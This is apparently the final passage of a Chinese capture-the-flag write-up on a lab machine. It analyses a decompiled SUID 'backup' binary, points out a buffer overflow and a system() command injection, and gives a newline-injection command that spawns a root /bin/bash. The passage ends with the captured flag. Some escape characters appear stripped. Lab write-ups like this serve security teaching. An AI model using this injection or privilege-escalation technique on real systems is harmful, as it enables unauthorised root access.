      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2"
      "EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/"
      "a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM"
      "yU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut2"
      "2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2"
      "6PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr"
      "yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOx"
      "kDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP"
      "aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( !strcmp(argv[3], "/") )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y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"aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( strstr(argv[3], "/etc") )
  {
    displaySuccess("Finished! Encoded backup is below:n");
    puts(
      "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpS"
      "vYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZor"
      "Y67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207Ef"
      "D3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2"
      "EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/"
      "a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MM"
      "yU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut2"
      "2WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd2"
      "6PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJr"
      "yLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOx"
      "kDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmP"
      "aFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnict"
      "zNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBw"
      "ACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==");
    exit(0);
  }
  if ( v24 == 1 )
    displayTarget((char *)argv[3]);
  strcpy(v11, argv[3]);
  v4 = getpid();
  v5 = time(0);
  v6 = clock();
  v7 = mix(v6, v5, v4);
  srand(v7);
  v21 = rand();
  sprintf(name, "/tmp/.backup_%i", v21);
  sprintf(command, "/usr/bin/zip -r -P magicword %s %s > /dev/null", name, v11);
  system(command);
  if ( access(name, 0) == -1 )
  {
    if ( v24 == 1 )
      displayWarning("The target path doesn't exist");
  }
  else
  {
    if ( v24 == 1 )
      displaySuccess("Finished! Encoded backup is below:n");
    sprintf(command, "/usr/bin/base64 -w0 %s", name);
    system(command);
  }
  if ( v24 == 1 )
    puts("n");
  remove(name);
  fclose(stream);
  return 0;
}

通过对程序代码进行分析,发现程序的功能如下:

  1. 程序首先检查参数传入数量argv是否小于等于3,和argv[1]是否不等于字符串-q,如果符合条件,程序会将变量v24(打印信息标识)设置为1并打印Banner信息。
  2. 程序会初始化几个变量,将文件路径/etc/myplace/keys分割保存到几个字符串变量中,随后使用**for**循环和传入连续的内存空间地址的方式将分割保存的字符串进行拼接恢复,并将其用于打开文件操作,文件句柄保存到变量stream中,如未能成功打开文件,程序输出报错信息后直接退出。
  3. 程序使用fgets()strcspn()strcmp()方法读入keys文件第一行内容,并将其和argv[2]的内容进行比较,如果两个变量内容不相符,则将密码解锁标识v25设置为1,随后程序会根据v25判断程序是否解锁,如未解锁则报错退出。
  4. 接下来程序会根据argv[3]的内容进行一些判断,如果argv[3]的内容符合指定条件,则会在屏幕上输出一些Base64文本。
  5. 然后,如果v24的值为1,程序会调用displayTarget()方法打印文本,此处存在严重的缓冲区溢出漏洞。接着,程序会生成随机数种子,并将使用rand()方法生成的随机数赋值给v21,该变量用于生成随机ZIP备份文件名,生成好的名称放置在name变量中。紧接着,程序会调用system()函数执行如下命令:sprintf(command, "/usr/bin/zip -r -P magicword %s %s > /dev/null", backup_fileName, v11);不难发现是使用zip命令生成了带密码的压缩包,其中第一个传入参数为生成的随机变量名,第二个参数是argv[3](要备份的目录)。我们可以使用换行符n进行命令注入:
backup -a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 "$(printf 'n/bin/bashnecho a')"

输入命令,直接启动了/bin/bash

提权成功!!!!


Flag文件展示

8087cbf750160e05a91716e3db9a31f7

本次靶机渗透到此结束


  • wechat_img
此作者没有提供个人介绍
最后更新于 2024-11-13